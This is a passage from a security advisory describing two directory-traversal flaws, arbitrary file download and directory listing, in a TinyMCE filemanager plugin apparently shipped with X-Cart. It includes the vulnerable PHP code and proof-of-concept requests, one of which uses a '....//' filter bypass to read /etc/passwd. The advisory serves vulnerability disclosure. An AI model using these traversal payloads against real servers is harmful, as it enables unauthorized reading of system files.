2. Arbitrary File Download

Description

When downloading a file, the input is not properly protected against directory
traversal, which makes it possible to download arbitrary files.

Please note that admin credentials are required.

Proof of Concept

http://localhost/anew/xcart/skins/admin/en/modules/CDev/TinyMCE/js/tinymce/plugins/filemanager/force_download.php
POST: path=/....//....//....//....//....//....//....//....//..etc/passwd&name=download.txt

Code

/skins/admin/en/modules/CDev/TinyMCE/js/tinymce/plugins/filemanager/force_download.php:10
$path=joinPaths($root,$upload_dir,$_POST['path']);
$path=str_replace(LC_DS . '..', '', $path);
$name=$_POST['name'];

header('Pragma: private');
header('Cache-control: private, must-revalidate');
header("Content-Type: application/octet-stream");
header("Content-Length: " .(string)(filesize($path)) );
header('Content-Disposition: attachment; filename="'.($name).'"');
readfile($path);

3. List Directories

Description

It is possible to list the directories contained by any directory due to a
directory traversal vulnerability via the fldr POST argument. This may be used
to gather information about the target system.

Please note that admin credentials are required.

Proof of Concept

http://localhost/anew/xcart/skins/admin/en/modules/CDev/TinyMCE/js/tinymce/plugins/filemanager/dialog.php?type=0&editor=mce_0&popup=0&lang=en_EN&field_id=&fldr=../../../../../../
